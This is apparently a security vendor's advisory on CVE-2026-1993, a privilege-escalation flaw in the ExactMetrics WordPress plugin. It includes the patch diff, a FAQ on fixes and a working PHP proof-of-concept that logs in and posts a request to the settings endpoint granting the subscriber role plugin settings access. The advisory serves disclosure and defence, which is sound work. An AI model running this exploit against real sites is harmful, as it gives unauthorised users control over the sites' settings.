Atomic Edge analysis of CVE-2026-1993:
The vulnerability originates in the ExactMetrics plugin’s `update_settings()` function within `/includes/admin/routes.php`. This function processes AJAX requests to update plugin settings. Versions 7.1.0 through 9.0.2 lack validation on the `setting` parameter, allowing users with the `exactmetrics_save_settings` capability to modify any plugin option. The critical flaw is the absence of a whitelist for allowed settings. Attackers can target the `save_settings` option, which defines which user roles can access plugin functionality. By setting this option to include the `subscriber` role, a user with delegated settings access can grant administrative plugin privileges to all subscribers. The patch in version 9.0.3 introduces two key fixes. First, it adds the `exactmetrics_get_admin_only_settings()` function in `/includes/capabilities.php` to define sensitive access-control settings. Second, it implements the `exactmetrics_is_admin_only_setting()` check within the `update_settings()` function (lines 206-212 and 242-244 of routes.php). This check prevents users without the `manage_options` capability from modifying settings like `save_settings`, `view_reports`, and `ignore_users`. The same protection is applied to the onboarding process in `class-exactmetrics-onboarding.php` and the settings import functionality. Exploitation requires a valid WordPress user account with the `exactmetrics_save_settings` capability, which an administrator might grant to a trusted user for limited configuration. Successful exploitation escalates the attacker’s privilege within the plugin, granting all subscribers the ability to view reports and change settings, effectively bypassing intended role-based access controls.

CVE-2026-1993: ExactMetrics 7.1.0 – 9.0.2 – Authenticated (Custom) Improper Privilege Management to Role Privilege Escalation via Settings Update (google-analytics-dashboard-for-wp)
CVE-2026-1993
9.0.2
9.0.3
Analysis Overview
Differential between vulnerable and patched code
--- a/google-analytics-dashboard-for-wp/gadwp.php
+++ b/google-analytics-dashboard-for-wp/gadwp.php
@@ -5,7 +5,7 @@
* Plugin URI: https://exactmetrics.com
* Description: Displays Google Analytics Reports and Real-Time Statistics in your Dashboard. Automatically inserts the tracking code in every page of your website.
* Author: ExactMetrics
- * Version: 9.0.2
+ * Version: 9.0.3
* Requires at least: 5.6.0
* Requires PHP: 7.2
* Author URI: https://exactmetrics.com/lite/?utm_source=liteplugin&utm_medium=pluginheader&utm_campaign=authoruri&utm_content=7%2E0%2E0
@@ -55,7 +55,7 @@
* @var string $version Plugin version.
*/
- public $version = '9.0.2';
+ public $version = '9.0.3';
/**
* Plugin file.
--- a/google-analytics-dashboard-for-wp/includes/admin/admin-assets.php
+++ b/google-analytics-dashboard-for-wp/includes/admin/admin-assets.php
@@ -248,6 +248,15 @@
$site_auth = $auth->get_viewname();
$ms_auth = is_multisite() && $auth->get_network_viewname();
+ // Get bearer token for direct browser-to-API requests.
+ $bearer_token_data = ExactMetrics_API_Token::get_token( is_network_admin() );
+ $bearer_token = '';
+ $bearer_expires = 0;
+ if ( ! is_wp_error( $bearer_token_data ) ) {
+ $bearer_token = $bearer_token_data['token'];
+ $bearer_expires = $bearer_token_data['expires_at'];
+ }
+
wp_localize_script(
$handle,
'exactmetrics',
@@ -265,6 +274,10 @@
'wizard_url' => exactmetrics_get_onboarding_url(),
'rest_url' => get_rest_url(),
'rest_nonce' => wp_create_nonce( 'wp_rest' ),
+ // Direct API access (bypasses WordPress for performance).
+ 'relay_api_url' => apply_filters( 'exactmetrics_api_url_custom_dashboard', 'https://app.exactmetrics.com/' ),
+ 'bearer_token' => $bearer_token,
+ 'bearer_expires' => $bearer_expires,
)
);
--- a/google-analytics-dashboard-for-wp/includes/admin/admin.php
+++ b/google-analytics-dashboard-for-wp/includes/admin/admin.php
@@ -62,9 +62,6 @@
add_submenu_page( $parent_slug, __( 'General Reports:', 'google-analytics-dashboard-for-wp' ), __( 'Reports', 'google-analytics-dashboard-for-wp' ), 'exactmetrics_view_dashboard', 'exactmetrics_reports', 'exactmetrics_reports_page' );
}
- // then settings page
- add_submenu_page( $parent_slug, __( 'ExactMetrics', 'google-analytics-dashboard-for-wp' ), __( 'Settings', 'google-analytics-dashboard-for-wp' ), 'exactmetrics_save_settings', 'exactmetrics_settings', 'exactmetrics_settings_page' );
-
/**
* Output the Custom Dashboard app mount node.
*
@@ -72,9 +69,27 @@
*/
function exactmetrics_custom_dashboard_page() {
do_action( 'exactmetrics_head' );
- echo '<div id="exactmetrics-custom-dashboard-app" class="mi-custom-dashboard-app">Loading</div>';
+ // Hide WordPress admin notices on this page - Vue app handles its own notifications
+ echo '<style>.exactmetrics_page_exactmetrics_custom_dashboard .notice:not(.exactmetrics-notice),.exactmetrics_page_exactmetrics_custom_dashboard .error:not(.exactmetrics-notice),.exactmetrics_page_exactmetrics_custom_dashboard .updated:not(.exactmetrics-notice){display:none !important;}</style>';
+ echo '<div id="exactmetrics-custom-dashboard-app" class="mi-custom-dashboard-app">';
+ echo '<div class="mi-app-loading"><span class="dashicons dashicons-update mi-spin"></span></div>';
+ echo '<style>.mi-app-loading{display:flex;align-items:center;justify-content:center;min-height:400px;}.mi-spin{animation:mi-spin 1s linear infinite;font-size:40px;width:40px;height:40px;color:#338eef;}@keyframes mi-spin{to{transform:rotate(360deg);}}</style>';
+ echo '</div>';
}
+// // Add Dashboard page (Vue 3 app)
+// add_submenu_page(
+// $parent_slug,
+// __( 'Dashboard:', 'google-analytics-dashboard-for-wp' ),
+// __( 'Dashboard', 'google-analytics-dashboard-for-wp' ) . $new_indicator,
+// 'exactmetrics_view_dashboard',
+// 'exactmetrics_custom_dashboard',
+// 'exactmetrics_custom_dashboard_page'
+// );
+
+ // then settings page
+ add_submenu_page( $parent_slug, __( 'ExactMetrics', 'google-analytics-dashboard-for-wp' ), __( 'Settings', 'google-analytics-dashboard-for-wp' ), 'exactmetrics_save_settings', 'exactmetrics_settings', 'exactmetrics_settings_page' );
+
// Add dashboard submenu.
add_submenu_page( 'index.php', __( 'General Reports:', 'google-analytics-dashboard-for-wp' ), 'ExactMetrics', 'exactmetrics_view_dashboard', 'admin.php?page=exactmetrics_reports' );
--- a/google-analytics-dashboard-for-wp/includes/admin/class-exactmetrics-onboarding.php
+++ b/google-analytics-dashboard-for-wp/includes/admin/class-exactmetrics-onboarding.php
@@ -225,9 +225,26 @@
$is_network = boolval( $request->get_param( 'is_network' ) );
// Process settings
$settings = $request->get_param( 'settings' );
+ $onboarding_user_id = exactmetrics_get_onboarding_user_id();
if ( ! empty( $settings ) ) {
+ $allowed_settings = apply_filters( 'exactmetrics_onboarding_allowed_settings', array(
+ 'site_type',
+ 'extensions_of_files',
+ 'affiliate_links',
+ 'view_reports',
+ 'automatic_updates',
+ 'anonymous_data',
+ 'verified_automatic',
+ ) );
foreach ( $settings as $key => $value ) {
+ if ( ! in_array( $key, $allowed_settings, true ) ) {
+ continue;
+ }
+ // Skip admin-only settings for non-admin users.
+ if ( exactmetrics_is_admin_only_setting( $key ) && ! user_can( $onboarding_user_id, 'manage_options' ) ) {
+ continue;
+ }
exactmetrics_update_option( $key, $value );
}
}
@@ -269,8 +286,7 @@
);
$is_network ? ExactMetrics()->auth->set_network_analytics_profile( $profile ) : ExactMetrics()->auth->set_analytics_profile( $profile );
}
- $triggered_by_user = $request->get_param( 'triggered_by' );
- $can_install = exactmetrics_can_install_plugins( $triggered_by_user );
+ $can_install = exactmetrics_can_install_plugins( $onboarding_user_id ?: null );
if ( $can_install && ! empty( $settings['addons_to_install'] ) ) {
$plugins = $settings['addons_to_install'];
@@ -502,6 +518,7 @@
*/
public function delete_onboarding_key( $request ) {
delete_transient( 'exactmetrics_onboarding_key' );
+ delete_transient( 'exactmetrics_onboarding_user_id' );
return new WP_REST_Response(
array(
'success' => true,
--- a/google-analytics-dashboard-for-wp/includes/admin/exclude-page-metabox.php
+++ b/google-analytics-dashboard-for-wp/includes/admin/exclude-page-metabox.php
@@ -35,10 +35,6 @@
return false;
}
- private function posttype_supports_gutenberg() {
- return post_type_supports( exactmetrics_get_current_post_type(), 'custom-fields' );
- }
-
private function get_current_post_type() {
global $post;
@@ -72,7 +68,7 @@
}
add_action( 'admin_enqueue_scripts', array( $this, 'load_metabox_styles' ) );
- if ( $this->is_gutenberg_editor() && $this->posttype_supports_gutenberg() ) {
+ if ( $this->is_gutenberg_editor() ) {
return;
}
if ( 'attachment' !== $post_type ) {
--- a/google-analytics-dashboard-for-wp/includes/admin/routes.php
+++ b/google-analytics-dashboard-for-wp/includes/admin/routes.php
@@ -203,6 +203,14 @@
if ( isset( $_POST['setting'] ) ) {
$setting = sanitize_text_field( wp_unslash( $_POST['setting'] ) );
+
+ // Prevent non-admin users from modifying access-control settings.
+ if ( exactmetrics_is_admin_only_setting( $setting ) && ! current_user_can( 'manage_options' ) ) {
+ wp_send_json_error( array(
+ 'message' => esc_html__( 'You do not have permission to update this setting.', 'google-analytics-dashboard-for-wp' ),
+ ) );
+ }
+
if ( isset( $_POST['value'] ) ) {
$value = $this->handle_sanitization( $setting, $_POST['value'] ); // phpcs:ignore
exactmetrics_update_option( $setting, $value );
@@ -232,6 +240,10 @@
if ( isset( $_POST['settings'] ) ) {
$settings = json_decode( sanitize_text_field( wp_unslash( $_POST['settings'] ) ), true );
foreach ( $settings as $setting => $value ) {
+ // Skip admin-only settings for non-admin users.
+ if ( exactmetrics_is_admin_only_setting( $setting ) && ! current_user_can( 'manage_options' ) ) {
+ continue;
+ }
$value = $this->handle_sanitization( $setting, $value );
exactmetrics_update_option( $setting, $value );
do_action( 'exactmetrics_after_update_settings', $setting, $value );
@@ -1067,7 +1079,18 @@
foreach ( $exclude as $e ) {
if ( ! empty( $settings[ $e ] ) ) {
- $new_settings = $settings[ $e ];
+ $new_settings[ $e ] = $settings[ $e ];
+ }
+ }
+
+ // Prevent non-admin users from importing access-control settings.
+ if ( ! current_user_can( 'manage_options' ) ) {
+ $admin_only_settings = exactmetrics_get_admin_only_settings();
+ foreach ( $admin_only_settings as $admin_setting ) {
+ unset( $new_settings[ $admin_setting ] );
+ if ( isset( $settings[ $admin_setting ] ) ) {
+ $new_settings[ $admin_setting ] = $settings[ $admin_setting ];
+ }
}
}
--- a/google-analytics-dashboard-for-wp/includes/admin/site-notes/Controller.php
+++ b/google-analytics-dashboard-for-wp/includes/admin/site-notes/Controller.php
@@ -1158,6 +1158,11 @@
}
public function load_metabox_assets() {
+ // Don't load classic editor assets on block editor
+ if ( $this->is_gutenberg_editor() ) {
+ return;
+ }
+
wp_register_style('exactmetrics-admin-metabox-sitenotes-style', plugins_url('assets/css/admin-metabox-sitenotes.css', EXACTMETRICS_PLUGIN_FILE), array(), exactmetrics_get_asset_version());
wp_enqueue_style('exactmetrics-admin-metabox-sitenotes-style');
@@ -1166,6 +1171,24 @@
}
/**
+ * Check if the current screen is the Gutenberg (block) editor.
+ *
+ * @return bool True if on block editor, false otherwise.
+ */
+ private function is_gutenberg_editor() {
+ if ( function_exists( 'is_gutenberg_page' ) && is_gutenberg_page() ) {
+ return true;
+ }
+
+ $current_screen = get_current_screen();
+ if ( method_exists( $current_screen, 'is_block_editor' ) && $current_screen->is_block_editor() ) {
+ return true;
+ }
+
+ return false;
+ }
+
+ /**
* Add site-note to traffic sessions chart.
*
* @param array $data
--- a/google-analytics-dashboard-for-wp/includes/api/class-exactmetrics-api-token.php
+++ b/google-analytics-dashboard-for-wp/includes/api/class-exactmetrics-api-token.php
@@ -0,0 +1,274 @@
+<?php
+/**
+ * API Token class for ExactMetrics.
+ *
+ * Generates encrypted tokens for secure browser-to-API communication.
+ * Used by Custom Dashboard, AI Chat, and any feature needing direct
+ * browser-to-Laravel requests without proxying through WordPress.
+ *
+ * Token Format: {publickey}.{base64(hmac + iv + ciphertext)}
+ *
+ * Security Features:
+ * - AES-256-CBC encryption
+ * - HMAC-SHA256 integrity verification
+ * - 30-minute token expiration
+ * - Site-specific encryption key (relay token)
+ *
+ * @since 9.x.x
+ * @package ExactMetrics
+ */
+
+// Exit if accessed directly.
+if ( ! defined( 'ABSPATH' ) ) {
+ exit;
+}
+
+/**
+ * ExactMetrics API Token class.
+ *
+ * @since 9.x.x
+ */
+class ExactMetrics_API_Token {
+
+ /**
+ * Token expiration time in seconds (30 minutes).
+ *
+ * @var int
+ */
+ const TOKEN_EXPIRATION = 1800;
+
+ /**
+ * Cache group for storing generated tokens.
+ *
+ * @var string
+ */
+ const CACHE_GROUP = 'api_tokens';
+
+ /**
+ * Encryption cipher.
+ *
+ * @var string
+ */
+ const CIPHER = 'AES-256-CBC';
+
+ /**
+ * Generate an encrypted token for browser-to-API communication.
+ *
+ * The token contains encrypted user and site context that can be
+ * validated by Laravel/Python without calling back to WordPress.
+ *
+ * @since 9.x.x
+ *
+ * @param bool $network Whether to use network credentials.
+ * @return array|WP_Error Token data array or WP_Error on failure.
+ * {
+ * 'token' => string, // The encrypted token
+ * 'expires_at' => int, // Unix timestamp
+ * }
+ */
+ public static function generate( $network = false ) {
+ $auth = ExactMetrics()->auth;
+
+ // Get relay credentials.
+ $public_key = $network ? $auth->get_network_key() : $auth->get_key();
+ $token_key = $network ? $auth->get_network_token() : $auth->get_token();
+
+ if ( empty( $public_key ) || empty( $token_key ) ) {
+ return new WP_Error(
+ 'not_authenticated',
+ __( 'Site is not authenticated with ExactMetrics.', 'google-analytics-dashboard-for-wp' )
+ );
+ }
+
+ // Build payload - minimal data needed for Laravel validation.
+ $timestamp = time();
+ $expires_at = $timestamp + self::TOKEN_EXPIRATION;
+
+ $payload = array(
+ 'site_url' => $network ? network_admin_url() : home_url(),
+ 'issued_at' => $timestamp,
+ 'expires_at' => $expires_at,
+ );
+
+ // Encrypt the payload.
+ $encrypted = self::encrypt_payload( $payload, $token_key );
+
+ if ( is_wp_error( $encrypted ) ) {
+ return $encrypted;
+ }
+
+ // Final token format: publickey.encrypted_payload
+ $token = $public_key . '.' . $encrypted;
+
+ return array(
+ 'token' => $token,
+ 'expires_at' => $expires_at,
+ );
+ }
+
+ /**
+ * Get a cached token or generate a new one.
+ *
+ * Tokens are cached at site-level since all users see the same analytics data.
+ * A 5-minute buffer is used to refresh tokens before they expire.
+ *
+ * @since 9.x.x
+ *
+ * @param bool $network Whether to use network credentials.
+ * @return array|WP_Error Token data array or WP_Error on failure.
+ */
+ public static function get_token( $network = false ) {
+ // Ensure user has permission to view dashboard data.
+ if ( ! current_user_can( 'exactmetrics_view_dashboard' ) ) {
+ return new WP_Error(
+ 'unauthorized',
+ __( 'You do not have permission to access this data.', 'google-analytics-dashboard-for-wp' )
+ );
+ }
+
+ $cache_key = 'api_token_site' . ( $network ? '_network' : '' );
+
+ // Try to get cached token.
+ $cached = exactmetrics_cache_get( $cache_key, self::CACHE_GROUP );
+
+ // Check if cached token is still valid (with 5-minute buffer).
+ if ( $cached && isset( $cached['expires_at'] ) ) {
+ $buffer = 300; // 5 minutes.
+ if ( $cached['expires_at'] > ( time() + $buffer ) ) {
+ return $cached;
+ }
+ }
+
+ // Generate new token.
+ $token_data = self::generate( $network );
+
+ if ( is_wp_error( $token_data ) ) {
+ return $token_data;
+ }
+
+ // Cache the token (TTL = expiration - buffer).
+ $ttl = ( $token_data['expires_at'] - time() ) - 300;
+ if ( $ttl > 0 ) {
+ exactmetrics_cache_set( $cache_key, $token_data, self::CACHE_GROUP, $ttl );
+ }
+
+ return $token_data;
+ }
+
+ /**
+ * Get just the token string (convenience method for wp_localize_script).
+ *
+ * @since 9.x.x
+ *
+ * @param bool $network Whether to use network credentials.
+ * @return string The token string or empty string on failure.
+ */
+ public static function get_token_string( $network = false ) {
+ $token_data = self::get_token( $network );
+
+ if ( is_wp_error( $token_data ) ) {
+ return '';
+ }
+
+ return $token_data['token'];
+ }
+
+ /**
+ * Get the token expiration timestamp.
+ *
+ * @since 9.x.x
+ *
+ * @param bool $network Whether to use network credentials.
+ * @return int Unix timestamp or 0 on failure.
+ */
+ public static function get_expiration( $network = false ) {
+ $token_data = self::get_token( $network );
+
+ if ( is_wp_error( $token_data ) ) {
+ return 0;
+ }
+
+ return $token_data['expires_at'];
+ }
+
+ /**
+ * Invalidate cached token for the site.
+ *
+ * Call this when relay credentials change or are deauthenticated.
+ *
+ * @since 9.x.x
+ *
+ * @param bool $network Whether to invalidate network token.
+ * @return bool True on success.
+ */
+ public static function invalidate( $network = false ) {
+ $cache_key = 'api_token_site' . ( $network ? '_network' : '' );
+
+ return exactmetrics_cache_delete( $cache_key, self::CACHE_GROUP );
+ }
+
+ /**
+ * Encrypt the payload using AES-256-CBC.
+ *
+ * @since 9.x.x
+ *
+ * @param array $payload The data to encrypt.
+ * @param string $key_seed The seed for deriving the encryption key (relay token).
+ * @return string|WP_Error Base64-encoded encrypted data or WP_Error.
+ */
+ private static function encrypt_payload( $payload, $key_seed ) {
+ // Check if OpenSSL is available.
+ if ( ! function_exists( 'openssl_encrypt' ) ) {
+ return new WP_Error(
+ 'openssl_missing',
+ __( 'OpenSSL extension is required for secure API tokens.', 'google-analytics-dashboard-for-wp' )
+ );
+ }
+
+ $payload_json = wp_json_encode( $payload );
+
+ if ( false === $payload_json ) {
+ return new WP_Error(
+ 'json_encode_failed',
+ __( 'Failed to encode token payload.', 'google-analytics-dashboard-for-wp' )
+ );
+ }
+
+ // Derive encryption key (SHA256 of the relay token).
+ $key = hash( 'sha256', $key_seed, true ); // 32 bytes.
+
+ // Generate random IV.
+ $iv = openssl_random_pseudo_bytes( 16 );
+
+ if ( false === $iv ) {
+ return new WP_Error(
+ 'iv_generation_failed',
+ __( 'Failed to generate secure IV.', 'google-analytics-dashboard-for-wp' )
+ );
+ }
+
+ // Encrypt with AES-256-CBC.
+ $ciphertext = openssl_encrypt(
+ $payload_json,
+ self::CIPHER,
+ $key,
+ OPENSSL_RAW_DATA,
+ $iv
+ );
+
+ if ( false === $ciphertext ) {
+ return new WP_Error(
+ 'encryption_failed',
+ __( 'Failed to encrypt token payload.', 'google-analytics-dashboard-for-wp' )
+ );
+ }
+
+ // Create HMAC for integrity (sign: iv + ciphertext).
+ $hmac = hash_hmac( 'sha256', $iv . $ciphertext, $key_seed, true ); // 32 bytes.
+
+ // Combine: hmac(32) + iv(16) + ciphertext.
+ // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode
+ return base64_encode( $hmac . $iv . $ciphertext );
+ }
+
+}
--- a/google-analytics-dashboard-for-wp/includes/capabilities.php
+++ b/google-analytics-dashboard-for-wp/includes/capabilities.php
@@ -91,3 +91,36 @@
}
add_filter( 'map_meta_cap', 'exactmetrics_add_capabilities', 10, 4 );
+
+/**
+ * Get the list of settings that only users with manage_options can modify.
+ *
+ * These are access-control settings that, if modified by a delegated user,
+ * could lead to privilege escalation.
+ *
+ * @since 9.5.2
+ *
+ * @return array Array of admin-only setting keys.
+ */
+function exactmetrics_get_admin_only_settings() {
+ $settings = array(
+ 'save_settings',
+ 'view_reports',
+ 'ignore_users',
+ );
+
+ return apply_filters( 'exactmetrics_admin_only_settings', $settings );
+}
+
+/**
+ * Check if a given setting key is an admin-only setting.
+ *
+ * @since 9.5.2
+ *
+ * @param string $setting The setting key to check.
+ *
+ * @return bool True if the setting is admin-only, false otherwise.
+ */
+function exactmetrics_is_admin_only_setting( $setting ) {
+ return in_array( $setting, exactmetrics_get_admin_only_settings(), true );
+}
--- a/google-analytics-dashboard-for-wp/includes/frontend/frontend.php
+++ b/google-analytics-dashboard-for-wp/includes/frontend/frontend.php
@@ -218,6 +218,7 @@
return;
}
+ // phpcs:ignore PHPCS_SecurityAudit.Misc.IncludeMismatch.ErrMiscIncludeMismatchNoExt -- File path is validated with file_exists() above.
$asset_data = require $asset_file;
// Enqueue styles
--- a/google-analytics-dashboard-for-wp/includes/helpers.php
+++ b/google-analytics-dashboard-for-wp/includes/helpers.php
@@ -1033,9 +1033,14 @@
if ( empty( $key ) ) {
$key = wp_generate_password( 32, false );
set_transient( 'exactmetrics_onboarding_key', $key, 30 * MINUTE_IN_SECONDS );
+ set_transient( 'exactmetrics_onboarding_user_id', get_current_user_id(), 30 * MINUTE_IN_SECONDS );
}
return $key;
}
+
+function exactmetrics_get_onboarding_user_id() {
+ return (int) get_transient( 'exactmetrics_onboarding_user_id' );
+}
/**
* Clears the onboarding key
*
--- a/google-analytics-dashboard-for-wp/lite/includes/load.php
+++ b/google-analytics-dashboard-for-wp/lite/includes/load.php
@@ -71,6 +71,7 @@
require_once EXACTMETRICS_PLUGIN_DIR . 'includes/api/class-exactmetrics-api-reports.php';
require_once EXACTMETRICS_PLUGIN_DIR . 'includes/api/class-exactmetrics-api-tracking.php';
require_once EXACTMETRICS_PLUGIN_DIR . 'includes/api/class-exactmetrics-api-ads.php';
+ require_once EXACTMETRICS_PLUGIN_DIR . 'includes/api/class-exactmetrics-api-token.php';
// Load Google Ads admin classes
require_once EXACTMETRICS_PLUGIN_DIR . 'includes/ppc/google/class-exactmetrics-google-ads.php';
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1993 - ExactMetrics 7.1.0 - 9.0.2 - Authenticated (Custom) Improper Privilege Management to Role Privilege Escalation via Settings Update
<?php
// Configuration
$target_url = 'https://vulnerable-site.com';
$username = 'attacker';
$password = 'password';
// Initialize session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$post_fields = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);
// Step 2: Extract the WordPress nonce from the admin page
// The plugin uses admin-ajax.php with action 'exactmetrics_update_settings'
$admin_url = $target_url . '/wp-admin/admin.php?page=exactmetrics_settings';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
$admin_page = curl_exec($ch);
// Step 3: Craft the malicious AJAX request to update the save_settings option
// This payload grants the 'subscriber' role the ability to save plugin settings
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_payload = array(
'action' => 'exactmetrics_update_settings',
'setting' => 'save_settings',
'value' => 'a:2:{i:0;s:13:"administrator";i:1;s:10:"subscriber";}'
);
// The value is a serialized PHP array containing 'administrator' and 'subscriber' roles
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_payload);
$ajax_response = curl_exec($ch);
echo "Exploit attempt completed.n";
echo "Response: " . $ajax_response . "n";
// Step 4: Verify the setting was updated by fetching it
$verify_payload = array(
'action' => 'exactmetrics_get_settings',
'setting' => 'save_settings'
);
curl_setopt($ch, CURLOPT_POSTFIELDS, $verify_payload);
$verify_response = curl_exec($ch);
echo "Verification response: " . $verify_response . "n";
curl_close($ch);
?>
Frequently Asked Questions
What is CVE-2026-1993?
Overview of the vulnerabilityCVE-2026-1993 is a high-severity vulnerability in the ExactMetrics plugin for WordPress, affecting versions 7.1.0 to 9.0.2. It involves improper privilege management that allows authenticated users to escalate their privileges by modifying plugin settings.
How does this vulnerability work?
Mechanism of exploitationThe vulnerability arises from the `update_settings()` function, which does not validate the `setting` parameter. Authenticated users with the `exactmetrics_save_settings` capability can change any plugin setting, including the critical `save_settings` option, potentially granting administrative access to all subscribers.
Who is affected by this vulnerability?
Identifying impacted usersAny WordPress site using ExactMetrics versions 7.1.0 to 9.0.2 is affected. Administrators who have delegated the `exactmetrics_save_settings` capability to other users are particularly at risk, as these users can exploit the vulnerability to escalate privileges.
How can I check if my site is vulnerable?
Steps for verificationTo check if your site is vulnerable, verify the ExactMetrics plugin version in your WordPress admin dashboard. If it is between 7.1.0 and 9.0.2, your site is at risk. Additionally, review user roles and capabilities to identify any users with the `exactmetrics_save_settings` capability.
How can I fix this vulnerability?
Recommended actionsThe vulnerability is patched in ExactMetrics version 9.0.3. Update your plugin to this version or later to mitigate the risk. Additionally, review user roles and limit the assignment of the `exactmetrics_save_settings` capability to trusted administrators only.
What does the CVSS score of 8.8 indicate?
Understanding severity levelsA CVSS score of 8.8 indicates a high severity vulnerability that poses a significant risk to affected systems. This score suggests that successful exploitation could lead to serious consequences, such as unauthorized access to sensitive plugin functionalities.
What is the role of the `save_settings` option?
Importance of this settingThe `save_settings` option controls which user roles have access to the ExactMetrics plugin’s functionalities. If compromised, an attacker can modify this setting to grant administrative access to all subscribers, undermining the intended access controls.
How does the proof of concept demonstrate the issue?
Exploit illustrationThe proof of concept provided shows how an authenticated user can exploit the vulnerability by sending a crafted request to change the `save_settings` option. This demonstrates the ease with which an attacker can escalate privileges and gain unauthorized access to plugin features.
What should I do if I cannot update the plugin immediately?
Mitigation strategiesIf an immediate update is not possible, consider disabling the ExactMetrics plugin until it can be updated. Review user roles and capabilities to ensure that only trusted users have access to sensitive settings, and monitor for any unusual activity on your site.
Are there any additional security measures I should take?
Enhancing overall securityIn addition to updating the plugin, consider implementing security best practices such as limiting user capabilities, using strong passwords, and enabling two-factor authentication for all user accounts. Regularly audit your plugins and user roles to maintain a secure environment.
What are the implications of privilege escalation?
Consequences of exploitationPrivilege escalation can allow attackers to gain unauthorized access to sensitive data and functionalities within the plugin. This may lead to data breaches, unauthorized changes to site settings, and compromise of the overall site security.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






